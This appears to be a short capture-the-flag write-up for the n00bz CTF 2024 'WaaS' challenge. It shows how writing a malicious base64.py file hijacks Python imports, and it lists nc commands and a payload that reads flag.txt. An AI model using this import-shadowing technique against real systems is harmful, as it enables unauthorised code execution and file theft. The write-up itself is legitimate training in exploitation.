WaaS
2024-08-08 20:37:52
# n00bz-CTF-2024
Writing as a Service! Author: NoobMaster + NoobHacker
Code Analysis
1 | import subprocess |
This python code allows you to write to a file, it seems that it can be in the current directory or a directory specified by the user. We can’t write to the challenge file, but we can write to a file that will be imported by the challenge script.
The Exploit
First, we specify base64.py as the file to write to, because when we relaunch the script base64.py will be imported at executed.
1 | h@DESKTOP-4SP1R3J ~> nc challs.n00bzunit3d.xyz 10001 |
Next, we’ll write “print(open(‘flag.txt’).read())” to the file. Since the code doesn’t except newlines, this will have to do.
1 | Data: print(open('flag.txt').read()) |
Afterwards, we exit:
1 | [1] Write to a file |
Then we will reconnect (which leads to the script being relaunched):
1 | h@DESKTOP-4SP1R3J ~> nc challs.n00bzunit3d.xyz 10001 |
Wow! That’s a flag!⏎